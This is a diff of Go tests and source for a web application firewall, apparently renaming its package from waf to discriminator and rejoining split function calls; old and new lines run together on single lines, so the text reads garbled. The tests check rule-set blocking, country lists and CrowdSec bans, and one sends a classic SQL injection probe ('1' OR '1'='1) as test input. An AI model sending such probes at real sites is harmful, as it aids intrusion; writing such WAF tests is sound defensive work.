line = s.request( line = s.request(otherClient, "/blocked?id=1'%20OR%20'1'='1", http.StatusForbidden,
otherClient, requestlog.ActionBlockedByBlockRule)
"/blocked?id=1'%20OR%20'1'='1",
http.StatusForbidden,
requestlog.ActionBlockedByBlockRule,
)
wantCoreRuleSet(t, line, nil) wantCoreRuleSet(t, line, nil)
// With SWW_WAF_MODE off, no request is. // With SWW_WAF_MODE off, no request is.
s, _, _ = startWithClock(t, "", map[string]string{wafMode: off}) s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
line = s.request( line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
client,
sqlInjection,
http.StatusOK,
requestlog.ActionForward,
)
wantCoreRuleSet(t, line, nil) wantCoreRuleSet(t, line, nil)
} }
@@ -276,12 +221,7 @@ func TestAnomalyThreshold(t *testing.T) {
wafMode: block, wafAnomalyThreshold: threshold, wafMode: block, wafAnomalyThreshold: threshold,
}) })
line := s.request( line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
client,
sqlInjection,
http.StatusOK,
requestlog.ActionForward,
)
wantCoreRuleSet(t, line, new(5), 942100) wantCoreRuleSet(t, line, new(5), 942100)
} }
@@ -329,20 +269,9 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
} }
// By default, the rules are switched off. // By default, the rules are switched off.
s, _, _ := startWithClock( s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
t, line, _ := s.requestWithBody(request.method, client, request.path,
"", request.header, body, http.StatusOK, requestlog.ActionForward)
map[string]string{wafMode: block},
)
line, _ := s.requestWithBody(
request.method,
client,
request.path,
request.header,
body,
http.StatusOK,
requestlog.ActionForward,
)
wantCoreRuleSet(t, line, new(0)) wantCoreRuleSet(t, line, new(0))
// A list given replaces the default. // A list given replaces the default.
@@ -350,24 +279,12 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
wafMode: block, wafDisabledRules: "942100", wafMode: block, wafDisabledRules: "942100",
}) })
score := 5 * len(request.ruleIDs) score := 5 * len(request.ruleIDs)
line, _ = s.requestWithBody( line, _ = s.requestWithBody(request.method, client, request.path,
request.method, request.header, body, http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
client,
request.path,
request.header,
body,
http.StatusForbidden,
requestlog.ActionBlockedByCoreRuleSet,
)
wantCoreRuleSet(t, line, &score, request.ruleIDs...) wantCoreRuleSet(t, line, &score, request.ruleIDs...)
// And switches off the rules it lists. // And switches off the rules it lists.
line = s.request( line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
client,
sqlInjection,
http.StatusOK,
requestlog.ActionForward,
)
wantCoreRuleSet(t, line, new(0)) wantCoreRuleSet(t, line, new(0))
}) })
} }
@@ -437,13 +354,8 @@ func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) {
got := do(t, req) got := do(t, req)
if got.status != http.StatusOK || string(got.body) != tc.body { if got.status != http.StatusOK || string(got.body) != tc.body {
t.Errorf( t.Errorf("%s: the app got %d bytes, answered %d, want the %d sent, 200",
"%s: the app got %d bytes, answered %d, want the %d sent, 200", tc.name, len(got.body), got.status, len(tc.body))
tc.name,
len(got.body),
got.status,
len(tc.body),
)
} }
line := out.endedLines(t, i+1)[i] line := out.endedLines(t, i+1)[i]
@@ -472,19 +384,13 @@ func TestResponsesAreNotInspected(t *testing.T) {
got := get(t, addr, "/owner/repo/raw/branch/main/build.sh") got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
if got.status != http.StatusOK || string(got.body) != page { if got.status != http.StatusOK || string(got.body) != page {
t.Errorf( t.Errorf("answered %d with %q, want 200 with the app's page", got.status, got.body)
"answered %d with %q, want 200 with the app's page",
got.status,
got.body,
)
} }
wantLine(t, out.endedLine(t), http.StatusOK, requestlog.ActionForward) wantLine(t, out.endedLine(t), http.StatusOK, requestlog.ActionForward)
} }
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst( func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{ s, _, server := startWithClock(t, "", map[string]string{
@@ -502,11 +408,8 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(
requestlog.ActionBlockedByCoreRuleSet) requestlog.ActionBlockedByCoreRuleSet)
if line.LimitHit != requestlog.LimitHitMinuteRefusals || if line.LimitHit != requestlog.LimitHitMinuteRefusals ||
line.Offence != requestlog.OffenceLimit { line.Offence != requestlog.OffenceLimit {
t.Errorf( t.Errorf("log line has limit_hit %q and offence %q, want minute_refusals and limit",
"log line has limit_hit %q and offence %q, want minute_refusals and limit", line.LimitHit, line.Offence)
line.LimitHit,
line.Offence,
)
} }
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned) s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
@@ -517,30 +420,15 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(
} }
metrics := s.scrape() metrics := s.scrape()
wantMetric( wantMetric(t, metrics,
t, `sww_core_rule_set_matches_total{instance="app",mode="block",rule_id="942100"}`, 3)
metrics, wantMetric(t, metrics,
`sww_core_rule_set_matches_total{instance="app",mode="block",rule_id="942100"}`, `sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`, 3)
3, wantMetric(t, metrics, `sww_requests_total{action="blocked_by_core_rule_set",`+
) `instance="app",status_class="4xx"}`, 3)
wantMetric(
t,
metrics,
`sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`,
3,
)
wantMetric(
t,
metrics,
`sww_requests_total{action="blocked_by_core_rule_set",`+
`instance="app",status_class="4xx"}`,
3,
)
} }
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst( func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{ s, _, server := startWithClock(t, "", map[string]string{
@@ -548,12 +436,7 @@ func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(
}) })
for range 3 { for range 3 {
s.request( s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
client,
sqlInjection,
http.StatusOK,
requestlog.ActionForward,
)
} }
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
@@ -564,12 +447,8 @@ func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(
} }
metrics := s.scrape() metrics := s.scrape()
wantMetric( wantMetric(t, metrics,
t, `sww_core_rule_set_matches_total{instance="app",mode="detect",rule_id="942100"}`, 3)
metrics,
`sww_core_rule_set_matches_total{instance="app",mode="detect",rule_id="942100"}`,
3,
)
wantNoSeries(t, metrics, wantNoSeries(t, metrics,
`sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`) `sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`)
} }
@@ -577,18 +456,9 @@ func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(
func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) { func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
t.Parallel() t.Parallel()
s, _, server := startWithClock( s, _, server := startWithClock(t, "", map[string]string{wafMode: block, mode: observe})
t,
"",
map[string]string{wafMode: block, mode: observe},
)
line := s.request( line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
client,
sqlInjection,
http.StatusOK,
requestlog.ActionForward,
)
wantWouldAction(t, line, requestlog.ActionBlockedByCoreRuleSet) wantWouldAction(t, line, requestlog.ActionBlockedByCoreRuleSet)
wantCoreRuleSet(t, line, new(5), 942100) wantCoreRuleSet(t, line, new(5), 942100)
@@ -638,9 +508,7 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
detail := map[string]any{ detail := map[string]any{
"rule_ids": []int{ "rule_ids": []int{942100}, "score": 5, "method": http.MethodGet,
942100,
}, "score": 5, "method": http.MethodGet,
"path": sqlInjection, "path": sqlInjection,
} }
if tc.alertMode != "" { if tc.alertMode != "" {
@@ -659,10 +527,7 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
}) })
if queue.Suppressed() != 1 { if queue.Suppressed() != 1 {
t.Errorf( t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
"%d alerts held back, want the repeat",
queue.Suppressed(),
)
} }
}) })
} }
@@ -1,4 +1,4 @@
package waf package discriminator
// The heuristic countries. It reads SWW_EXCLUSIVELY_ALLOWED_COUNTRIES. // The heuristic countries. It reads SWW_EXCLUSIVELY_ALLOWED_COUNTRIES.
@@ -18,11 +18,7 @@ type countries struct{}
func (countries) name() string { return "countries" } func (countries) name() string { return "countries" }
func (countries) check( func (countries) check(_ context.Context, rq *request, _ time.Time) *verdict {
_ context.Context,
rq *request,
_ time.Time,
) *verdict {
allowed := rq.h.config.ExclusivelyAllowedCountries allowed := rq.h.config.ExclusivelyAllowedCountries
country := rq.line.Country country := rq.line.Country
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"encoding/json" "encoding/json"
@@ -52,10 +52,7 @@ func TestCountryLists(t *testing.T) {
calls.Add(1) calls.Add(1)
}) })
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
env := map[string]string{ env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
}
maps.Copy(env, tc.env) maps.Copy(env, tc.env)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env) addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
@@ -71,25 +68,14 @@ func TestCountryLists(t *testing.T) {
line := out.endedLines(t, i+1)[i] line := out.endedLines(t, i+1)[i]
if line.ASN != sent.asn || line.ASName != sent.asName || if line.ASN != sent.asn || line.ASName != sent.asName ||
line.Country != sent.country { line.Country != sent.country {
t.Errorf( t.Errorf("log line has %q, %q and %q, want %q, %q and %q",
"log line has %q, %q and %q, want %q, %q and %q", line.ASN, line.ASName, line.Country,
line.ASN, sent.asn, sent.asName, sent.country)
line.ASName,
line.Country,
sent.asn,
sent.asName,
sent.country,
)
} }
if slices.Contains(tc.refused, sent.client) { if slices.Contains(tc.refused, sent.client) {
wantStatus(t, got, http.StatusForbidden) wantStatus(t, got, http.StatusForbidden)
wantLine( wantLine(t, line, http.StatusForbidden, requestlog.ActionCountryDenied)
t,
line,
http.StatusForbidden,
requestlog.ActionCountryDenied,
)
} else { } else {
wantStatus(t, got, http.StatusOK) wantStatus(t, got, http.StatusOK)
wantLine(t, line, http.StatusOK, requestlog.ActionForward) wantLine(t, line, http.StatusOK, requestlog.ActionForward)
@@ -112,19 +98,11 @@ func TestCountryRefusalNamesItsHeuristicCountryAndSetting(t *testing.T) {
lookupTimeout: "1h", allowedCountries: "de", lookupTimeout: "1h", allowedCountries: "de",
}) })
line := s.get( line := s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied)
fromKP,
http.StatusForbidden,
requestlog.ActionCountryDenied,
)
wantHeuristic(t, line, "countries", wantHeuristic(t, line, "countries",
`{"country": "KP", "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"}`) `{"country": "KP", "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"}`)
line = s.get( line = s.get(unplaced, http.StatusForbidden, requestlog.ActionCountryDenied)
unplaced,
http.StatusForbidden,
requestlog.ActionCountryDenied,
)
wantHeuristic(t, line, "countries", wantHeuristic(t, line, "countries",
`{"country": "", "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"}`) `{"country": "", "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"}`)
} }
@@ -144,13 +122,7 @@ func TestCountryRefusalKeepsARequestFromTheApp(t *testing.T) {
allowedCountries: "de", allowedCountries: "de",
}) })
req := newRequest( req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("a body"))
t,
http.MethodPost,
addr,
"/",
strings.NewReader("a body"),
)
req.Header.Set(forwardedFor, fromKP) req.Header.Set(forwardedFor, fromKP)
wantStatus(t, do(t, req), http.StatusForbidden) wantStatus(t, do(t, req), http.StatusForbidden)
@@ -177,9 +149,7 @@ func TestRequestRefusedByCountryIsNotCounted(t *testing.T) {
return return
} }
answer := []geojsAnswer{ answer := []geojsAnswer{{IP: r.URL.Query().Get("ip"), CountryCode: "DE"}}
{IP: r.URL.Query().Get("ip"), CountryCode: "DE"},
}
err := json.NewEncoder(w).Encode(answer) err := json.NewEncoder(w).Encode(answer)
if err != nil { if err != nil {
@@ -239,10 +209,7 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) {}) app := startApp(t, func(http.ResponseWriter, *http.Request) {})
geojsURL, asked := startGeoJS(t) geojsURL, asked := startGeoJS(t)
env := map[string]string{ env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
}
maps.Copy(env, tc.env) maps.Copy(env, tc.env)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env) addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
@@ -263,12 +230,8 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
for _, field := range []string{"asn", "as_name", "country"} { for _, field := range []string{"asn", "as_name", "country"} {
value, present := line.fields[field] value, present := line.fields[field]
if !present || value != "" { if !present || value != "" {
t.Errorf( t.Errorf("log line for %q has %s %v, want an empty one",
"log line for %q has %s %v, want an empty one", line.ClientIP, field, value)
line.ClientIP,
field,
value,
)
} }
} }
} }
@@ -280,16 +243,10 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
req.Header.Set(forwardedFor, fromDE) req.Header.Set(forwardedFor, fromDE)
wantStatus(t, do(t, req), http.StatusOK) wantStatus(t, do(t, req), http.StatusOK)
waitUntil( waitUntil(func() bool { return slices.Contains(asked(), fromDE) })
func() bool { return slices.Contains(asked(), fromDE) },
)
if got := asked(); !slices.Equal(got, []string{fromDE}) { if got := asked(); !slices.Equal(got, []string{fromDE}) {
t.Errorf( t.Errorf("GeoJS was asked about %v, want %s alone", got, fromDE)
"GeoJS was asked about %v, want %s alone",
got,
fromDE,
)
} }
}) })
} }
@@ -318,16 +275,11 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) {}) app := startApp(t, func(http.ResponseWriter, *http.Request) {})
geojsURL, asked := startGeoJS(t) geojsURL, asked := startGeoJS(t)
addr, out := startProxyWithGeoJS( addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
t,
app.URL,
geojsURL,
map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
allowedCountries: "de", allowedCountries: "de",
allowNets: tc.allowNets, allowNets: tc.allowNets,
}, })
)
wantAnswers(t, addr, out, []sentRequest{ wantAnswers(t, addr, out, []sentRequest{
{"10.0.0.7", tc.status, tc.action}, {"10.0.0.7", tc.status, tc.action},
@@ -431,19 +383,9 @@ type geojsAnswer struct {
func answerAbout(addr string) geojsAnswer { func answerAbout(addr string) geojsAnswer {
switch addr { switch addr {
case fromDE: case fromDE:
return geojsAnswer{ return geojsAnswer{IP: addr, ASN: 64496, ASName: asNameDE, CountryCode: "DE"}
IP: addr,
ASN: 64496,
ASName: asNameDE,
CountryCode: "DE",
}
case fromKP: case fromKP:
return geojsAnswer{ return geojsAnswer{IP: addr, ASN: 64511, ASName: asNameKP, CountryCode: "KP"}
IP: addr,
ASN: 64511,
ASName: asNameKP,
CountryCode: "KP",
}
} }
return geojsAnswer{IP: addr, ASN: 64512, ASName: "Unknown"} return geojsAnswer{IP: addr, ASN: 64512, ASName: "Unknown"}
@@ -1,4 +1,4 @@
package waf package discriminator
// The heuristic crowdsec. It reads SWW_CROWDSEC_LAPI_URL, and the decisions // The heuristic crowdsec. It reads SWW_CROWDSEC_LAPI_URL, and the decisions
// through the reputation lists. // through the reputation lists.
@@ -21,11 +21,7 @@ type crowdSec struct{}
func (crowdSec) name() string { return "crowdsec" } func (crowdSec) name() string { return "crowdsec" }
func (crowdSec) check( func (crowdSec) check(_ context.Context, rq *request, now time.Time) *verdict {
_ context.Context,
rq *request,
now time.Time,
) *verdict {
decision, listed := rq.crowdSecDecisionInForce(now) decision, listed := rq.crowdSecDecisionInForce(now)
if !listed { if !listed {
return nil return nil
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"net/http" "net/http"
@@ -9,14 +9,14 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/reputation" "sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
) )
// The CrowdSec settings, and the tests' engine, which is never asked: each // The CrowdSec settings, and the tests' engine, which is never asked: each
// test puts in the copy of its decision list, at decisionsURL, that it // test puts in the copy of its decision list, at decisionsURL, that it
// needs, as lists.json would at start. // needs, as reputation.json would at start.
const ( const (
crowdSecURL = "SWW_CROWDSEC_LAPI_URL" crowdSecURL = "SWW_CROWDSEC_LAPI_URL"
crowdSecKey = "SWW_CROWDSEC_LAPI_KEY" crowdSecKey = "SWW_CROWDSEC_LAPI_KEY"
@@ -25,9 +25,7 @@ const (
bouncerKey = "crowdsec-key-0123456789abcdef" bouncerKey = "crowdsec-key-0123456789abcdef"
) )
func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds( func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{ s, clk, server, queue := startWithAlerts(t, map[string]string{
@@ -41,56 +39,44 @@ func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(
expires := requestlog.FormatTime(fetched.Add(4 * time.Hour)) expires := requestlog.FormatTime(fetched.Add(4 * time.Hour))
// Its first request is refused, and bans it until the decision ends. // Its first request is refused, and bans it until the decision ends.
banned := requestlog.ActionTemporarilyBanned line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
line := s.get(client, http.StatusForbidden, banned)
wantReputation(t, line, decisionsURL) wantReputation(t, line, decisionsURL)
if line.BanExpires != expires { if line.BanExpires != expires {
t.Errorf("log line has ban_expires %q, want %s", t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires)
line.BanExpires, expires)
} }
listed := []bans.ReputationHit{{Source: decisionsURL}} listed := []bans.ReputationHit{{Source: decisionsURL}}
held := server.Ledger.Bans(netip.MustParsePrefix(client + "/32")) held := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
if len(held) != 1 || held[0].Cause != bans.CauseCrowdSec || if len(held) != 1 || held[0].Cause != bans.CauseCrowdSec ||
!held[0].Start.Equal(fetched) || !held[0].Start.Equal(fetched) || !held[0].Expires.Equal(fetched.Add(4*time.Hour)) ||
!held[0].Expires.Equal(fetched.Add(4*time.Hour)) ||
held[0].Reason != "CrowdSec's decision for crowdsecurity/ssh-bf" || held[0].Reason != "CrowdSec's decision for crowdsecurity/ssh-bf" ||
!reflect.DeepEqual(held[0].Notes.Reputation, listed) || !reflect.DeepEqual(held[0].Notes.Reputation, listed) ||
held[0].Notes.Request.Path != "/" || held[0].Notes.Requests != 1 { held[0].Notes.Request.Path != "/" || held[0].Notes.Requests != 1 {
t.Fatalf( t.Fatalf("bans %+v, want one for crowdsec of four hours, with the list and "+
"bans %+v, want one for crowdsec of four hours, with the list and "+ "the request in its notes", held)
"the request in its notes",
held,
)
} }
// The listing raises a reputation_hit alert, and the ban its own. // The listing raises a reputation_hit alert, and the ban its own.
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 2 || waiting[0].Event != alerts.EventReputationHit || if len(waiting) != 2 || waiting[0].Event != alerts.EventReputationHit ||
waiting[0].Reason != "listed by the CrowdSec decision list" || waiting[0].Reason != "listed by the CrowdSec decision list" ||
!reflect.DeepEqual( !reflect.DeepEqual(waiting[1], banAlert(alerts.EventBan, fetched, client, held[0],
waiting[1], expires)) {
banAlert(alerts.EventBan, fetched, client, held[0], t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban's",
expires), waiting)
) {
t.Errorf(
"alerts waiting %+v, want a reputation_hit alert, then the ban's",
waiting,
)
} }
// Each request while the ban lasts is refused under it, as under any // Each request while the ban lasts is refused under it, as under any
// ban, and once it has ended the client is let through. // ban, and once it has ended the client is let through.
clk.advance(4*time.Hour - time.Second) clk.advance(4*time.Hour - time.Second)
line = s.get(client, http.StatusForbidden, banned) line = s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
wantReputation(t, line) wantReputation(t, line)
if line.BanExpires != expires { if line.BanExpires != expires {
t.Errorf("log line has ban_expires %q, want %s", t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires)
line.BanExpires, expires)
} }
clk.advance(time.Second) clk.advance(time.Second)
@@ -105,12 +91,8 @@ func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(
`instance="`+alertInstance+`"}`, 1) `instance="`+alertInstance+`"}`, 1)
wantMetric(t, metrics, "sww_reputation_hits_total"+labels, 1) wantMetric(t, metrics, "sww_reputation_hits_total"+labels, 1)
wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0) wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0)
wantMetric( wantMetric(t, metrics, "sww_reputation_last_fetch_timestamp_seconds"+labels,
t, float64(fetched.Unix()))
metrics,
"sww_reputation_last_fetch_timestamp_seconds"+labels,
float64(fetched.Unix()),
)
} }
func TestCrowdSecBanNamesItsHeuristicScenarioAndEnd(t *testing.T) { func TestCrowdSecBanNamesItsHeuristicScenarioAndEnd(t *testing.T) {
@@ -123,24 +105,13 @@ func TestCrowdSecBanNamesItsHeuristicScenarioAndEnd(t *testing.T) {
`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+ `"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
`"value": "`+client+`"}]`) `"value": "`+client+`"}]`)
line := s.get( line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
client, wantHeuristic(t, line, "crowdsec", `{"scenario": "crowdsecurity/ssh-bf", `+
http.StatusForbidden, `"expires": "`+requestlog.FormatTime(clk.Now().Add(4*time.Hour))+`"}`)
requestlog.ActionTemporarilyBanned,
)
wantHeuristic(
t,
line,
"crowdsec",
`{"scenario": "crowdsecurity/ssh-bf", `+
`"expires": "`+requestlog.FormatTime(clk.Now().Add(4*time.Hour))+`"}`,
)
wantTags(t, line, "crowdsec") wantTags(t, line, "crowdsec")
} }
func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt( func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
s, clk, server := startWithClock(t, "", map[string]string{ s, clk, server := startWithClock(t, "", map[string]string{
@@ -158,44 +129,24 @@ func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(
// Just before its end, the decision bans a client in the netblock, and // Just before its end, the decision bans a client in the netblock, and
// one on an IPv6 address bans the address's group, the /64. // one on an IPv6 address bans the address's group, the /64.
clk.advance(time.Minute - time.Nanosecond) clk.advance(time.Minute - time.Nanosecond)
s.get( s.get("198.51.100.7", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
"198.51.100.7", s.get("2001:db8::9", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
http.StatusForbidden, s.get("2001:db8::5", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
requestlog.ActionTemporarilyBanned,
)
s.get(
"2001:db8::9",
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
s.get(
"2001:db8::5",
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
// Once it has ended, it bans no other client, and the bans it made end // Once it has ended, it bans no other client, and the bans it made end
// with it. // with it.
clk.advance(time.Nanosecond) clk.advance(time.Nanosecond)
for _, from := range []string{"198.51.100.8", "198.51.100.7", "2001:db8::5"} { for _, from := range []string{"198.51.100.8", "198.51.100.7", "2001:db8::5"} {
wantReputation( wantReputation(t, s.get(from, http.StatusOK, requestlog.ActionForward))
t,
s.get(from, http.StatusOK, requestlog.ActionForward),
)
} }
if made := server.Ledger.Made(bans.CauseCrowdSec); made != 2 { if made := server.Ledger.Made(bans.CauseCrowdSec); made != 2 {
t.Errorf( t.Errorf("%d bans made for crowdsec, want 2, on 198.51.100.7/32 and "+
"%d bans made for crowdsec, want 2, on 198.51.100.7/32 and "+ "2001:db8::/64", made)
"2001:db8::/64",
made,
)
} }
if held := server.Ledger.Bans(netip.MustParsePrefix("2001:db8::/64")); len( if held := server.Ledger.Bans(netip.MustParsePrefix("2001:db8::/64")); len(held) != 1 {
held,
) != 1 {
t.Errorf("bans of 2001:db8::/64 %+v, want one", held) t.Errorf("bans of 2001:db8::/64 %+v, want one", held)
} }
} }
@@ -224,19 +175,16 @@ func TestObserveModeForwardsAClientTheCrowdSecDecisionListListsAndAlertsTheBan(
if len(waiting) != 2 || waiting[1].Event != alerts.EventBan || if len(waiting) != 2 || waiting[1].Event != alerts.EventBan ||
waiting[1].Detail["cause"] != bans.CauseCrowdSec || waiting[1].Detail["cause"] != bans.CauseCrowdSec ||
waiting[1].Detail["mode"] != observe { waiting[1].Detail["mode"] != observe {
t.Errorf( t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban alert "+
"alerts waiting %+v, want a reputation_hit alert, then the ban alert "+ "marked observe", waiting)
"marked observe",
waiting,
)
} }
} }
// loadDecisions puts into server's lists the copy of the decision list at // loadDecisions puts into server's lists the copy of the decision list at
// decisionsURL, answer, the engine's answer, fetched at fetched, as // decisionsURL, answer, the engine's answer, fetched at fetched, as
// lists.json would at start. // reputation.json would at start.
func loadDecisions( func loadDecisions(
t *testing.T, server *waf.Server, fetched time.Time, answer string, t *testing.T, server *discriminator.Server, fetched time.Time, answer string,
) { ) {
t.Helper() t.Helper()
@@ -1,4 +1,4 @@
package waf package discriminator
// The heuristic deny_nets. It reads SWW_DENY_NETS. // The heuristic deny_nets. It reads SWW_DENY_NETS.
@@ -1,4 +1,4 @@
package waf package discriminator
import ( import (
"bytes" "bytes"
@@ -18,8 +18,8 @@ import (
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
) )
// The headers of rproxy's question and of waf's answer, as // The headers of rproxy's question and of discriminator's answer, as
// "waf" in SPEC.md gives them. // "discriminator" in SPEC.md gives them.
const ( const (
// ClientHeader marks a request as rproxy's question, and gives the // ClientHeader marks a request as rproxy's question, and gives the
// visitor's address. // visitor's address.
@@ -28,7 +28,7 @@ const (
PeerHeader = "X-Sww-Peer" PeerHeader = "X-Sww-Peer"
// ContentLengthHeader gives the body length the visitor announced. // ContentLengthHeader gives the body length the visitor announced.
ContentLengthHeader = "X-Sww-Content-Length" ContentLengthHeader = "X-Sww-Content-Length"
// DispositionHeader gives waf's answer. // DispositionHeader gives discriminator's answer.
DispositionHeader = "X-Sww-Disposition" DispositionHeader = "X-Sww-Disposition"
) )
@@ -41,12 +41,12 @@ const (
DispositionDeny = "deny" DispositionDeny = "deny"
// DispositionClose tells rproxy to close the visitor's connection // DispositionClose tells rproxy to close the visitor's connection
// without an answer, which SWW_BAN_RESPONSE asks for when it is close. // without an answer, which SWW_BAN_RESPONSE asks for when it is close.
// waf closing the question's connection instead would read as // discriminator closing the question's connection instead would read as
// waf being down, and rproxy would then let the request through. // discriminator being down, and rproxy would then let the request through.
DispositionClose = "close" DispositionClose = "close"
) )
// ReportPath is where rproxy sends the report of each request waf // ReportPath is where rproxy sends the report of each request discriminator
// answered. // answered.
const ReportPath = "/_sww/report" const ReportPath = "/_sww/report"
@@ -70,11 +70,11 @@ const (
// maxReportedMilliseconds is the longest duration a report may give, // maxReportedMilliseconds is the longest duration a report may give,
// about 31 years, so that it fits a time.Duration. // about 31 years, so that it fits a time.Duration.
maxReportedMilliseconds = 1e12 maxReportedMilliseconds = 1e12
// wafTimeout bounds how long a request to waf takes to // discriminatorTimeout bounds how long a request to discriminator takes to
// arrive, and its answer to leave, and wafIdleTimeout how long a // arrive, and its answer to leave, and discriminatorIdleTimeout how long a
// kept-open connection waits for its next request. // kept-open connection waits for its next request.
wafTimeout = 60 * time.Second discriminatorTimeout = 60 * time.Second
wafIdleTimeout = 120 * time.Second discriminatorIdleTimeout = 120 * time.Second
) )
var ( var (
@@ -97,7 +97,7 @@ type Report struct {
DurationUpstreamTotalMS float64 `json:"duration_upstream_total_ms"` DurationUpstreamTotalMS float64 `json:"duration_upstream_total_ms"`
} }
// New returns the server `sww waf` runs. It answers // New returns the server `sww discriminator` runs. It answers
